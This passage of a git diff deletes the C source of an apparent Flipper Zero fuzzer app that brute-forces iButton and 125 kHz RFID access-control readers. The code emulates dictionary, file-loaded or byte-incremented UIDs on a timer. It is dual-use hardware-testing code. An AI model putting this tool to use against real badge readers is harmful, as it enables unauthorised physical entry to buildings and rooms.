fuzzer_worker_alloc(); - app->payload = fuzzer_payload_alloc(); - - app->file_path = furi_string_alloc(); - - // GUI - app->gui = furi_record_open(RECORD_GUI); - - // Dialog - app->dialogs = furi_record_open(RECORD_DIALOGS); - - // Open Notification record - app->notifications = furi_record_open(RECORD_NOTIFICATION); - - // View Dispatcher - app->view_dispatcher = view_dispatcher_alloc(); - - // Popup - app->popup = popup_alloc(); - view_dispatcher_add_view(app->view_dispatcher, FuzzerViewIDPopup, popup_get_view(app->popup)); - - // TextInput - app->text_input = text_input_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, FuzzerViewIDTextInput, text_input_get_view(app->text_input)); - - // Main view - app->main_view = fuzzer_view_main_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, FuzzerViewIDMain, fuzzer_view_main_get_view(app->main_view)); - - // Attack view - app->attack_view = fuzzer_view_attack_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, FuzzerViewIDAttack, fuzzer_view_attack_get_view(app->attack_view)); - - // FieldEditor view - app->field_editor_view = fuzzer_view_field_editor_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, - FuzzerViewIDFieldEditor, - fuzzer_view_field_editor_get_view(app->field_editor_view)); - - app->scene_manager = scene_manager_alloc(&fuzzer_scene_handlers, app); - view_dispatcher_enable_queue(app->view_dispatcher); - - view_dispatcher_set_event_callback_context(app->view_dispatcher, app); - view_dispatcher_set_custom_event_callback( - app->view_dispatcher, fuzzer_app_custom_event_callback); - view_dispatcher_set_navigation_event_callback( - app->view_dispatcher, fuzzer_app_back_event_callback); - view_dispatcher_set_tick_event_callback( - app->view_dispatcher, fuzzer_app_tick_event_callback, 100); - - view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen); - - scene_manager_next_scene(app->scene_manager, FuzzerSceneMain); - - return app; -} - -void fuzzer_app_free(PacsFuzzerApp* app) { - furi_assert(app); - - // Remote view - view_dispatcher_remove_view(app->view_dispatcher, FuzzerViewIDMain); - fuzzer_view_main_free(app->main_view); - - // Attack view - view_dispatcher_remove_view(app->view_dispatcher, FuzzerViewIDAttack); - fuzzer_view_attack_free(app->attack_view); - - // FieldEditor view - view_dispatcher_remove_view(app->view_dispatcher, FuzzerViewIDFieldEditor); - fuzzer_view_field_editor_free(app->field_editor_view); - - // Popup - view_dispatcher_remove_view(app->view_dispatcher, FuzzerViewIDPopup); - popup_free(app->popup); - - // TextInput - view_dispatcher_remove_view(app->view_dispatcher, FuzzerViewIDTextInput); - text_input_free(app->text_input); - - scene_manager_free(app->scene_manager); - view_dispatcher_free(app->view_dispatcher); - - // Dialog - furi_record_close(RECORD_DIALOGS); - - // Close records - furi_record_close(RECORD_GUI); - - // Notifications - furi_record_close(RECORD_NOTIFICATION); - app->notifications = NULL; - - furi_string_free(app->file_path); - - fuzzer_payload_free(app->payload); - fuzzer_worker_free(app->worker); - - free(app); -} - -int32_t fuzzer_start_ibtn(void* p) { - UNUSED(p); - PacsFuzzerApp* fuzzer_app = fuzzer_app_alloc(); - - FuzzerConsts app_const = { - .custom_dict_folder = EXT_PATH("ibutton_fuzzer"), - .custom_dict_extension = ".txt", - .key_extension = ".ibtn", - .path_key_folder = EXT_PATH("ibutton"), - .key_icon = &I_ibutt_10px, - .file_prefix = "iBtn", - }; - fuzzer_app->fuzzer_const = &app_const; - - view_dispatcher_run(fuzzer_app->view_dispatcher); - - fuzzer_app_free(fuzzer_app); - return 0; -} - -int32_t fuzzer_start_rfid(void* p) { - UNUSED(p); - PacsFuzzerApp* fuzzer_app = fuzzer_app_alloc(); - - FuzzerConsts app_const = { - .custom_dict_folder = EXT_PATH("lfrfid_fuzzer"), - .custom_dict_extension = ".txt", - .key_extension = ".rfid", - .path_key_folder = EXT_PATH("lfrfid"), - .key_icon = &I_125_10px, - .file_prefix = "RFID", - }; - fuzzer_app->fuzzer_const = &app_const; - - view_dispatcher_run(fuzzer_app->view_dispatcher); - - fuzzer_app_free(fuzzer_app); - return 0; -} diff --git a/applications/external/multi_fuzzer/fuzzer_i.h b/applications/external/multi_fuzzer/fuzzer_i.h deleted file mode 100644 index e1960a3aa..000000000 --- a/applications/external/multi_fuzzer/fuzzer_i.h +++ /dev/null @@ -1,61 +0,0 @@ -#pragma once - -#include -#include - -#include -#include -#include -#include -#include - -#include -#include - -#include "scenes/fuzzer_scene.h" -#include "views/main_menu.h" -#include "views/attack.h" -#include "views/field_editor.h" - -#include "helpers/fuzzer_types.h" -#include "lib/worker/fake_worker.h" - -#include -#include "fuzzer_icons.h" -#include - -#define FUZZ_TIME_DELAY_MAX (80) -#define KEY_NAME_SIZE 24 - -typedef struct { - const char* custom_dict_extension; - const char* custom_dict_folder; - const char* key_extension; - const char* path_key_folder; - const Icon* key_icon; - const char* file_prefix; -} FuzzerConsts; - -typedef struct { - Gui* gui; - NotificationApp* notifications; - - ViewDispatcher* view_dispatcher; - SceneManager* scene_manager; - - Popup* popup; - DialogsApp* dialogs; - TextInput* text_input; - FuzzerViewMain* main_view; - FuzzerViewAttack* attack_view; - FuzzerViewFieldEditor* field_editor_view; - - FuriString* file_path; - char key_name[KEY_NAME_SIZE + 1]; - - FuzzerState fuzzer_state; - FuzzerConsts* fuzzer_const; - - FuzzerWorker* worker; - FuzzerPayload* payload; -} PacsFuzzerApp; diff --git a/applications/external/multi_fuzzer/helpers/fuzzer_custom_event.h b/applications/external/multi_fuzzer/helpers/fuzzer_custom_event.h deleted file mode 100644 index 5824e3c01..000000000 --- a/applications/external/multi_fuzzer/helpers/fuzzer_custom_event.h +++ /dev/null @@ -1,27 +0,0 @@ -#pragma once - -typedef enum { - - // FuzzerCustomEvent - FuzzerCustomEventViewMainBack = 100, - FuzzerCustomEventViewMainOk, - FuzzerCustomEventViewMainPopupErr, - - FuzzerCustomEventViewAttackEnd, - - FuzzerCustomEventViewAttackExit, - FuzzerCustomEventViewAttackRunAttack, - FuzzerCustomEventViewAttackPause, - FuzzerCustomEventViewAttackIdle, // Setup - FuzzerCustomEventViewAttackEmulateCurrent, - FuzzerCustomEventViewAttackSave, - FuzzerCustomEventViewAttackNextUid, - FuzzerCustomEventViewAttackPrevUid, - - FuzzerCustomEventViewFieldEditorBack, - FuzzerCustomEventViewFieldEditorOk, - - FuzzerCustomEventTextEditResult, - - FuzzerCustomEventPopupClosed, -} FuzzerCustomEvent; \ No newline at end of file diff --git a/applications/external/multi_fuzzer/helpers/fuzzer_types.h b/applications/external/multi_fuzzer/helpers/fuzzer_types.h deleted file mode 100644 index a809cda01..000000000 --- a/applications/external/multi_fuzzer/helpers/fuzzer_types.h +++ /dev/null @@ -1,33 +0,0 @@ -#pragma once - -#include - -typedef struct { - uint8_t menu_index; - uint8_t proto_index; -} FuzzerState; - -typedef enum { - FuzzerAttackStateOff = 0, - FuzzerAttackStateIdle, - FuzzerAttackStateAttacking, - FuzzerAttackStateEmulating, - FuzzerAttackStatePause, - FuzzerAttackStateEnd, - -} FuzzerAttackState; - -typedef enum { - FuzzerFieldEditorStateEditingOn = 0, - FuzzerFieldEditorStateEditingOff, - -} FuzzerFieldEditorState; - -typedef enum { - FuzzerViewIDPopup, - FuzzerViewIDTextInput, - - FuzzerViewIDMain, - FuzzerViewIDAttack, - FuzzerViewIDFieldEditor, -} FuzzerViewID; \ No newline at end of file diff --git a/applications/external/multi_fuzzer/ibutt_10px.png b/applications/external/multi_fuzzer/ibutt_10px.png deleted file mode 100644 index 2fdaf123a..000000000 Binary files a/applications/external/multi_fuzzer/ibutt_10px.png and /dev/null differ diff --git a/applications/external/multi_fuzzer/icons/rfid_10px.png b/applications/external/multi_fuzzer/icons/rfid_10px.png deleted file mode 100644 index 8097f4775..000000000 Binary files a/applications/external/multi_fuzzer/icons/rfid_10px.png and /dev/null differ diff --git a/applications/external/multi_fuzzer/lib/worker/fake_worker.c b/applications/external/multi_fuzzer/lib/worker/fake_worker.c deleted file mode 100644 index d3d00d2db..000000000 --- a/applications/external/multi_fuzzer/lib/worker/fake_worker.c +++ /dev/null @@ -1,508 +0,0 @@ -#include "fake_worker.h" -#include "helpers/hardware_worker.h" -#include "protocol_i.h" - -#include - -#include -#include -#include - -#define TAG "Fuzzer worker" -#define TOTAL_PROTOCOL_COUNT fuzzer_proto_get_count_of_protocols() -#define PROTOCOL_KEY_FOLDER EXT_PATH(PROTOCOL_KEY_FOLDER_NAME) - -typedef uint8_t FuzzerWorkerPayload[MAX_PAYLOAD_SIZE]; - -struct FuzzerWorker { - HardwareWorker* hw_worker; - - const FuzzerProtocol* protocol; - HwProtocolID* suported_proto; - - FuzzerWorkerPayload payload; - - FuzzerWorkerAttackType attack_type; - uint16_t index; - Stream* uids_stream; - - bool in_emu_phase; - FuriTimer* timer; - uint16_t timer_idle_time_ms; - uint16_t timer_emu_time_ms; - - FuzzerWorkerUidChagedCallback tick_callback; - void* tick_context; - - FuzzerWorkerEndCallback end_callback; - void* end_context; -}; - -static bool fuzzer_worker_set_protocol(FuzzerWorker* instance, FuzzerProtocolsID protocol_index) { - if(!(protocol_index < TOTAL_PROTOCOL_COUNT)) { - return false; - } - - instance->protocol = &fuzzer_proto_items[protocol_index]; - return hardware_worker_set_protocol_id_by_name( - instance->hw_worker, fuzzer_proto_items[protocol_index].name); -} - -static FuzzerProtocolsID - fuzzer_worker_is_protocol_valid(FuzzerWorker* instance, HwProtocolID protocol_id) { - for(FuzzerProtocolsID i = 0; i < TOTAL_PROTOCOL_COUNT; i++) { - if(protocol_id == instance->suported_proto[i]) { - return i; - } - } - return TOTAL_PROTOCOL_COUNT; -} - -FuzzerWorkerLoadKeyState fuzzer_worker_load_key_from_file( - FuzzerWorker* instance, - FuzzerProtocolsID* protocol_index, - const char* filename) { - furi_assert(instance); - - FuzzerWorkerLoadKeyState res = FuzzerWorkerLoadKeyStateUnsuportedProto; - if(!hardware_worker_load_key_from_file(instance->hw_worker, filename)) { - FURI_LOG_E(TAG, "Load key file: cant load file"); - res = FuzzerWorkerLoadKeyStateBadFile; - } else { - FuzzerProtocolsID loaded_id = fuzzer_worker_is_protocol_valid( - instance, hardware_worker_get_protocol_id(instance->hw_worker)); - - if(!fuzzer_worker_set_protocol(instance, loaded_id)) { - FURI_LOG_E(TAG, "Load key file: Unsuported protocol"); - res = FuzzerWorkerLoadKeyStateUnsuportedProto; - } else { - if(*protocol_index != loaded_id) { - res = FuzzerWorkerLoadKeyStateDifferentProto; - } else { - res = FuzzerWorkerLoadKeyStateOk; - } - *protocol_index = loaded_id; - - hardware_worker_get_protocol_data( - instance->hw_worker, &instance->payload[0], MAX_PAYLOAD_SIZE); - } - } - - return res; -} - -static bool fuzer_worker_make_key_folder() { - Storage* storage = furi_record_open(RECORD_STORAGE); - - const bool res = storage_simply_mkdir(storage, PROTOCOL_KEY_FOLDER); - - furi_record_close(RECORD_STORAGE); - - return res; -} - -bool fuzzer_worker_save_key(FuzzerWorker* instance, const char* path) { - furi_assert(instance); - bool res = false; - - if(!fuzer_worker_make_key_folder()) { - FURI_LOG_E(TAG, "Cannot create key folder"); - } else if(!hardware_worker_save_key(instance->hw_worker, path)) { - FURI_LOG_E(TAG, "Cannot save key file"); - } else { - FURI_LOG_D(TAG, "Save key Success"); - res = true; - } - - return res; -} - -static bool fuzzer_worker_load_key(FuzzerWorker* instance, bool next) { - furi_assert(instance); - furi_assert(instance->protocol); - bool res = false; - - const FuzzerProtocol* protocol = instance->protocol; - - switch(instance->attack_type) { - case FuzzerWorkerAttackTypeDefaultDict: - if(next) { - if(instance->index < (protocol->dict.len - 1)) { - instance->index++; - } else { - break; - } - } - if(instance->index < protocol->dict.len) { - memcpy( - instance->payload, - &protocol->dict.val[instance->index * protocol->data_size], - protocol->data_size); - res = true; - } - break; - - case FuzzerWorkerAttackTypeLoadFileCustomUids: { - if(next) { - instance->index++; - } - uint8_t str_len = protocol->data_size * 2 + 1; - FuriString* data_str = furi_string_alloc(); - while(true) { - furi_string_reset(data_str); - if(!stream_read_line(instance->uids_stream, data_str)) { - stream_rewind(instance->uids_stream); - // TODO Check empty file & close stream and storage - break; - } else if(furi_string_get_char(data_str, 0) == '#') { - // Skip comment string - continue; - } else if(furi_string_size(data_str) != str_len) { - // Ignore strin with bad length - FURI_LOG_W(TAG, "Bad string length"); - continue; - } else { - FURI_LOG_D(TAG, "Uid candidate: \"%s\"", furi_string_get_cstr(data_str)); - bool parse_ok = true; - for(uint8_t i = 0; i < protocol->data_size; i++) { - if(!hex_char_to_uint8( - furi_string_get_cstr(data_str)[i * 2], - furi_string_get_cstr(data_str)[i * 2 + 1], - &instance->payload[i])) { - parse_ok = false; - break; - } - } - res = parse_ok; - } - break; - } - furi_string_free(data_str); - } - - break; - - case FuzzerWorkerAttackTypeLoadFile: - if(instance->payload[instance->index] != 0xFF) { - instance->payload[instance->index]++; - res = true; - } - - break; - - default: - break; - } - - if(res) { - hardware_worker_set_protocol_data( - instance->hw_worker, &instance->payload[0], protocol->data_size); - } - - return res; -} - -static bool fuzzer_worker_load_previous_key(FuzzerWorker* instance) { - furi_assert(instance); - furi_assert(instance->protocol); - bool res = false; - - const FuzzerProtocol* protocol = instance->protocol; - - switch(instance->attack_type) { - case FuzzerWorkerAttackTypeDefaultDict: - if(instance->index > 0) { - instance->index--; - memcpy( - instance->payload, - &protocol->dict.val[instance->index * protocol->data_size], - protocol->data_size); - res = true; - } - break; - - case FuzzerWorkerAttackTypeLoadFile: - if(instance->payload[instance->index] != 0x00) { - instance->payload[instance->index]--; - res = true; - } - - break; - - default: - break; - } - - if(res) { - hardware_worker_set_protocol_data( - instance->hw_worker, &instance->payload[0], protocol->data_size); - } - - return res; -} - -static void fuzzer_worker_on_tick_callback(void* context) { - furi_assert(context); - - FuzzerWorker* instance = context; - - if(instance->in_emu_phase) { - hardware_worker_stop(instance->hw_worker); - instance->in_emu_phase = false; - furi_timer_start(instance->timer, furi_ms_to_ticks(instance->timer_idle_time_ms)); - } else { - if(!fuzzer_worker_load_key(instance, true)) { - fuzzer_worker_pause(instance); // XXX - if(instance->end_callback) { - instance->end_callback(instance->end_context); - } - } else { - hardware_worker_emulate_start(instance->hw_worker); - instance->in_emu_phase = true; - furi_timer_start(instance->timer, furi_ms_to_ticks(instance->timer_emu_time_ms)); - if(instance->tick_callback) { - instance->tick_callback(instance->tick_context); - } - } - } -} - -void fuzzer_worker_get_current_key(FuzzerWorker* instance, FuzzerPayload* output_key) { - furi_assert(instance); - furi_assert(output_key); - furi_assert(instance->protocol); - - output_key->data_size = instance->protocol->data_size; - memcpy(output_key->data, instance->payload, instance->protocol->data_size); -} - -bool fuzzer_worker_next_key(FuzzerWorker* instance) { - furi_assert(instance); - furi_assert(instance->protocol); - - return fuzzer_worker_load_key(instance, true); -} - -bool fuzzer_worker_previous_key(FuzzerWorker* instance) { - furi_assert(instance); - furi_assert(instance->protocol); - - return fuzzer_worker_load_previous_key(instance); -} - -bool fuzzer_worker_init_attack_dict(FuzzerWorker* instance, FuzzerProtocolsID protocol_index) { - furi_assert(instance); - - bool res = false; - - if(!fuzzer_worker_set_protocol(instance, protocol_index)) { - instance->attack_type = FuzzerWorkerAttackTypeMax; - return res; - } - - instance->attack_type = FuzzerWorkerAttackTypeDefaultDict; - instance->index = 0; - - if(!fuzzer_worker_load_key(instance, false)) { - instance->attack_type = FuzzerWorkerAttackTypeMax; - } else { - res = true; - } - - return res; -} - -bool fuzzer_worker_init_attack_file_dict( - FuzzerWorker* instance, - FuzzerProtocolsID protocol_index, - FuriString* file_path) { - furi_assert(instance); - furi_assert(file_path); - - bool res = false; - - if(!fuzzer_worker_set_protocol(instance, protocol_index)) { - instance->attack_type = FuzzerWorkerAttackTypeMax; - return res; - } - - Storage* storage = furi_record_open(RECORD_STORAGE); - instance->uids_stream = buffered_file_stream_alloc(storage); - furi_record_close(RECORD_STORAGE); - - if(!buffered_file_stream_open( - instance->uids_stream, furi_string_get_cstr(file_path), FSAM_READ, FSOM_OPEN_EXISTING)) { - buffered_file_stream_close(instance->uids_stream); - return res; - } - - instance->attack_type = FuzzerWorkerAttackTypeLoadFileCustomUids; - instance->index = 0; - - if(!fuzzer_worker_load_key(instance, false)) { - instance->attack_type = FuzzerWorkerAttackTypeMax; - buffered_file_stream_close(instance->uids_stream); - stream_free(instance->uids_stream); - } else { - res = true; - } - - return res; -} - -bool fuzzer_worker_init_attack_bf_byte( - FuzzerWorker* instance, - FuzzerProtocolsID protocol_index, - const FuzzerPayload* new_uid, - uint8_t chusen) { - furi_assert(instance); - - bool res = false; - if(!fuzzer_worker_set_protocol(instance, protocol_index)) { - instance->attack_type = FuzzerWorkerAttackTypeMax; - return res; - } - - instance->attack_type = FuzzerWorkerAttackTypeLoadFile; - instance->index = chusen; - - memcpy(instance->payload, new_uid->data, instance->protocol->data_size); - - hardware_worker_set_protocol_data( - instance->hw_worker, &instance->payload[0], instance->protocol->data_size); - - return true; -} - -FuzzerWorker* fuzzer_worker_alloc() { - FuzzerWorker* instance = malloc(sizeof(FuzzerWorker)); - - instance->hw_worker = hardware_worker_alloc(); - hardware_worker_start_thread(instance->hw_worker); - - instance->suported_proto = malloc(sizeof(HwProtocolID) * TOTAL_PROTOCOL_COUNT); - - for(uint8_t i = 0; i < TOTAL_PROTOCOL_COUNT; i++) { - if(!hardware_worker_set_protocol_id_by_name( - instance->hw_worker, fuzzer_proto_items[i].name)) { - // Check protocol support - FURI_LOG_E(TAG, "Not supported protocol name: %s", fuzzer_proto_items[i].name); - furi_crash("Not supported protocol name"); - } else { - instance->suported_proto[i] = hardware_worker_get_protocol_id(instance->hw_worker); - FURI_LOG_D( - TAG, - "%u: %15s Protocol_id: %lu", - i + 1, - fuzzer_proto_items[i].name, - instance->suported_proto[i]); - } - } - - instance->attack_type = FuzzerWorkerAttackTypeMax; - instance->index = 0; - instance->in_emu_phase = false; - - memset(instance->payload, 0x00, sizeof(instance->payload)); - - instance->timer_idle_time_ms = PROTOCOL_DEF_IDLE_TIME * 100; - instance->timer_emu_time_ms = PROTOCOL_DEF_EMU_TIME * 100; - - instance->timer = - furi_timer_alloc(fuzzer_worker_on_tick_callback, FuriTimerTypeOnce, instance); - - return instance; -} - -void fuzzer_worker_free(FuzzerWorker* instance) { - furi_assert(instance); - - fuzzer_worker_stop(instance); - - furi_timer_free(instance->timer); - - free(instance->suported_proto); - - hardware_worker_stop_thread(instance->hw_worker); - hardware_worker_free(instance->hw_worker); - - free(instance); -} - -bool fuzzer_worker_start(FuzzerWorker* instance, uint8_t idle_time, uint8_t emu_time) { - furi_assert(instance); - - if(instance->attack_type < FuzzerWorkerAttackTypeMax) { - if(idle_time == 0) { - instance->timer_idle_time_ms = 10; - } else { - instance->timer_idle_time_ms = idle_time * 100; - } - if(emu_time == 0) { - instance->timer_emu_time_ms = 10; - } else { - instance->timer_emu_time_ms = emu_time * 100; - } - - FURI_LOG_D( - TAG, - "Emu_time %u ms Idle_time %u ms", - instance->timer_emu_time_ms, - instance->timer_idle_time_ms); - - hardware_worker_emulate_start(instance->hw_worker); - - instance->in_emu_phase = true; - furi_timer_start(instance->timer, furi_ms_to_ticks(instance->timer_emu_time_ms)); - return true; - } - return false; -} - -void fuzzer_worker_start_emulate(FuzzerWorker* instance) { - furi_assert(instance); - - hardware_worker_emulate_start(instance->hw_worker); -} - -void fuzzer_worker_pause(FuzzerWorker* instance) { - furi_assert(instance); - - furi_timer_stop(instance->timer); - - hardware_worker_stop(instance->hw_worker); -} - -void fuzzer_worker_stop(FuzzerWorker* instance) { - furi_assert(instance); - - furi_timer_stop(instance->timer); - - hardware_worker_stop(instance->hw_worker); - - if(instance->attack_type == FuzzerWorkerAttackTypeLoadFileCustomUids) { - buffered_file_stream_close(instance->uids_stream); - stream_free(instance->uids_stream); - instance->attack_type = FuzzerWorkerAttackTypeMax; - } - - // TODO anything else -} - -void fuzzer_worker_set_uid_chaged_callback( - FuzzerWorker* instance, - FuzzerWorkerUidChagedCallback callback, - void* context) { - furi_assert(instance); - instance->tick_callback = callback; - instance->tick_context = context; -} - -void fuzzer_worker_set_end_callback( - FuzzerWorker* instance, - FuzzerWorkerEndCallback callback, - void* context) { - furi_assert(instance); - instance->end_callback = callback; - instance->end_context = context; -} diff --git a/applications/external/multi_fuzzer/lib/worker/fake_worker.h b/applications/external/multi_fuzzer/lib/worker/fake_worker.h deleted file mode 100644 index 9aecb56b5..000000000 --- a/applications/external/multi_fuzzer/lib/worker/fake_worker.h +++ /dev/null @@ -1,153 +0,0 @@ -#pragma once - -#include - -#include "protocol.h" - -typedef enum { - FuzzerWorkerAttackTypeDefaultDict = 0, - FuzzerWorkerAttackTypeLoadFile, - FuzzerWorkerAttackTypeLoadFileCustomUids, - - FuzzerWorkerAttackTypeMax, -} FuzzerWorkerAttackType; - -typedef enum { - FuzzerWorkerLoadKeyStateBadFile = -2, - FuzzerWorkerLoadKeyStateUnsuportedProto, - FuzzerWorkerLoadKeyStateOk = 0, - FuzzerWorkerLoadKeyStateDifferentProto, - -} FuzzerWorkerLoadKeyState; - -typedef void (*FuzzerWorkerUidChagedCallback)(void* context); -typedef void (*FuzzerWorkerEndCallback)(void* context); - -typedef struct FuzzerWorker FuzzerWorker; - -/** - * Allocate FuzzerWorker - * - * @return FuzzerWorker* pointer to FuzzerWorker - */ -FuzzerWorker* fuzzer_worker_alloc(); - -/** - * Free FuzzerWorker - * - * @param instance Pointer to a FuzzerWorker - */ -void fuzzer_worker_free(FuzzerWorker* instance); - -/** - * Start or continue emulation - * - * @param instance Pointer to a FuzzerWorker - * @param idle_time Delay between emulations in tenths of a second - * @param emu_time Emulation time of one UID in tenths of a second - * @return bool True if emulation has started - */ -bool fuzzer_worker_start(FuzzerWorker* instance, uint8_t idle_time, uint8_t emu_time); - -/** - * Stop emulation and deinit worker - * - * @param instance Pointer to a FuzzerWorker - */ -void fuzzer_worker_stop(FuzzerWorker* instance); - -void fuzzer_worker_start_emulate(FuzzerWorker* instance); - -/** - * Suspend emulation - * - * @param instance Pointer to a FuzzerWorker - */ -void fuzzer_worker_pause(FuzzerWorker* instance); - -/** - * Init attack by default dictionary - * - * @param instance Pointer to a FuzzerWorker - * @param protocol_index index of the selected protocol - * @return bool True if initialization is successful - */ -bool fuzzer_worker_init_attack_dict(FuzzerWorker* instance, FuzzerProtocolsID protocol_index); - -/** - * Init attack by custom dictionary - * - * @param instance Pointer to a FuzzerWorker - * @param protocol_index index of the selected protocol - * @param file_path file path to the dictionary - * @return bool True if initialization is successful - */ -bool fuzzer_worker_init_attack_file_dict( - FuzzerWorker* instance, - FuzzerProtocolsID protocol_index, - FuriString* file_path); - -/** - * Init attack brute force one of byte - * - * @param instance Pointer to a FuzzerWorker - * @param protocol_index index of the selected protocol - * @param new_uid Pointer to a FuzzerPayload with UID for brute force - * @param chosen index of chusen byte - * @return bool True if initialization is successful - */ -bool fuzzer_worker_init_attack_bf_byte( - FuzzerWorker* instance, - FuzzerProtocolsID protocol_index, - const FuzzerPayload* new_uid, - uint8_t chusen); - -/** - * Get current UID - * - * @param instance Pointer to a FuzzerWorker - * @param output_key Pointer to a FuzzerPayload - */ -void fuzzer_worker_get_current_key(FuzzerWorker* instance, FuzzerPayload* output_key); - -bool fuzzer_worker_next_key(FuzzerWorker* instance); -bool fuzzer_worker_previous_key(FuzzerWorker* instance); - -/** - * Load UID from Flipper Format Key file - * - * @param instance Pointer to a FuzzerWorker - * @param protocol_index index of the selected protocol - * @param filename file path to the key file - * @return bool True if loading is successful - */ -FuzzerWorkerLoadKeyState fuzzer_worker_load_key_from_file( - FuzzerWorker* instance, - FuzzerProtocolsID* protocol_index, - const char* filename); - -bool fuzzer_worker_save_key(FuzzerWorker* instance, const char* path); - -/** - * Set callback for uid changed - * - * @param instance Pointer to a FuzzerWorker - * @param callback Callback for uid changed - * @param context Context for callback - */ -void fuzzer_worker_set_uid_chaged_callback( - FuzzerWorker* instance, - FuzzerWorkerUidChagedCallback callback, - void* context); - -/** - * Set callback for end of emulation - * - * @param instance Pointer to a FuzzerWorker - * @param callback Callback for end of emulation - * @param context Context for callback - */ -void fuzzer_worker_set_end_callback( - FuzzerWorker* instance, - FuzzerWorkerEndCallback callback, - void* context); \ No newline at end of file diff --git a/applications/external/multi_fuzzer/lib/worker/helpers/hardware_worker.c b/applications/external/multi_fuzzer/lib/worker/helpers/hardware_worker.c deleted file mode 100644 index e42996afa..000000000 --- a/applications/external/multi_fuzzer/lib/worker/helpers/hardware_worker.c +++ /dev/null @@ -1,198 +0,0 @@ -#include "hardware_worker.h" -#include "furi.h" - -#if defined(RFID_125_PROTOCOL) - -#include -#include - -#else - -#include -#include - -#endif - -#define TAG "Fuzzer HW worker" - -struct HardwareWorker { -#if defined(RFID_125_PROTOCOL) - LFRFIDWorker* proto_worker; - ProtocolId protocol_id; - ProtocolDict* protocols_items; -#else - iButtonWorker* proto_worker; - iButtonProtocolId protocol_id; - iButtonProtocols* protocols_items; - iButtonKey* key; -#endif -}; - -HardwareWorker* hardware_worker_alloc() { - HardwareWorker* instance = malloc(sizeof(HardwareWorker)); -#if defined(RFID_125_PROTOCOL) - instance->protocols_items = protocol_dict_alloc(lfrfid_protocols, LFRFIDProtocolMax); - - instance->proto_worker = lfrfid_worker_alloc(instance->protocols_items); -#else - instance->protocols_items = ibutton_protocols_alloc(); - instance->key = - ibutton_key_alloc(ibutton_protocols_get_max_data_size(instance->protocols_items)); - - instance->proto_worker = ibutton_worker_alloc(instance->protocols_items); -#endif - return instance; -} - -void hardware_worker_free(HardwareWorker* instance) { -#if defined(RFID_125_PROTOCOL) - lfrfid_worker_free(instance->proto_worker); - - protocol_dict_free(instance->protocols_items); -#else - ibutton_worker_free(instance->proto_worker); - - ibutton_key_free(instance->key); - ibutton_protocols_free(instance->protocols_items); -#endif - free(instance); -} - -void hardware_worker_start_thread(HardwareWorker* instance) { -#if defined(RFID_125_PROTOCOL) - lfrfid_worker_start_thread(instance->proto_worker); -#else - ibutton_worker_start_thread(instance->proto_worker); -#endif -} - -void hardware_worker_stop_thread(HardwareWorker* instance) { -#if defined(RFID_125_PROTOCOL) - lfrfid_worker_stop(instance->proto_worker); - lfrfid_worker_stop_thread(instance->proto_worker); -#else - ibutton_worker_stop(instance->proto_worker); - ibutton_worker_stop_thread(instance->proto_worker); -#endif -} - -void hardware_worker_emulate_start(HardwareWorker* instance) { -#if defined(RFID_125_PROTOCOL) - lfrfid_worker_emulate_start(instance->proto_worker, instance->protocol_id); -#else - ibutton_worker_emulate_start(instance->proto_worker, instance->key); -#endif -} - -void hardware_worker_stop(HardwareWorker* instance) { -#if defined(RFID_125_PROTOCOL) - lfrfid_worker_stop(instance->proto_worker); -#else - ibutton_worker_stop(instance->proto_worker); -#endif -} - -void hardware_worker_set_protocol_data( - HardwareWorker* instance, - uint8_t* payload, - uint8_t payload_size) { -#if defined(RFID_125_PROTOCOL) - protocol_dict_set_data( - instance->protocols_items, instance->protocol_id, payload, payload_size); -#else - ibutton_key_set_protocol_id(instance->key, instance->protocol_id); - iButtonEditableData data; - ibutton_protocols_get_editable_data(instance->protocols_items, instance->key, &data); - - furi_check(payload_size >= data.size); - memcpy(data.ptr, payload, data.size); -#endif -} - -void hardware_worker_get_protocol_data( - HardwareWorker* instance, - uint8_t* payload, - uint8_t payload_size) { -#if defined(RFID_125_PROTOCOL) - protocol_dict_get_data( - instance->protocols_items, instance->protocol_id, payload, payload_size); -#else - iButtonEditableData data; - ibutton_protocols_get_editable_data(instance->protocols_items, instance->key, &data); - furi_check(payload_size >= data.size); - memcpy(payload, data.ptr, data.size); -#endif -} - -static bool hardware_worker_protocol_is_valid(HardwareWorker* instance) { -#if defined(RFID_125_PROTOCOL) - if(instance->protocol_id != PROTOCOL_NO) { - return true; - } -#else - if(instance->protocol_id != iButtonProtocolIdInvalid) { - return true; - } -#endif - return false; -} - -bool hardware_worker_set_protocol_id_by_name(HardwareWorker* instance, const char* protocol_name) { -#if defined(RFID_125_PROTOCOL) - instance->protocol_id = - protocol_dict_get_protocol_by_name(instance->protocols_items, protocol_name); - return (instance->protocol_id != PROTOCOL_NO); -#else - instance->protocol_id = - ibutton_protocols_get_id_by_name(instance->protocols_items, protocol_name); - return (instance->protocol_id != iButtonProtocolIdInvalid); -#endif -} - -HwProtocolID hardware_worker_get_protocol_id(HardwareWorker* instance) { - if(hardware_worker_protocol_is_valid(instance)) { - return instance->protocol_id; - } - return -1; -} - -bool hardware_worker_load_key_from_file(HardwareWorker* instance, const char* filename) { - bool res = false; - -#if defined(RFID_125_PROTOCOL) - ProtocolId loaded_proto_id = lfrfid_dict_file_load(instance->protocols_items, filename); - if(loaded_proto_id == PROTOCOL_NO) { - // Err Cant load file - FURI_LOG_W(TAG, "Cant load file"); - } else { - instance->protocol_id = loaded_proto_id; - res = true; - } -#else - - if(!ibutton_protocols_load(instance->protocols_items, instance->key, filename)) { - // Err Cant load file - FURI_LOG_W(TAG, "Cant load file"); - } else { - instance->protocol_id = ibutton_key_get_protocol_id(instance->key); - res = true; - } - -#endif - - return res; -} - -bool hardware_worker_save_key(HardwareWorker* instance, const char* path) { - furi_assert(instance); - bool res; - -#if defined(RFID_125_PROTOCOL) - res = lfrfid_dict_file_save(instance->protocols_items, instance->protocol_id, path); -#else - - res = ibutton_protocols_save(instance->protocols_items, instance->key, path); -#endif - - return res; -} \ No newline at end of file diff --git a/applications/external/multi_fuzzer/lib/worker/helpers/hardware_worker.h b/applications/external/multi_fuzzer/lib/worker/helpers/hardware_worker.h deleted file mode 100644 index f2cd3842e..000000000 --- a/applications/external/multi_fuzzer/lib/worker/helpers/hardware_worker.h +++ /dev/null @@ -1,48 +0,0 @@ -#pragma once - -#include -#include - -#if defined(RFID_125_PROTOCOL) - -#include -typedef ProtocolId 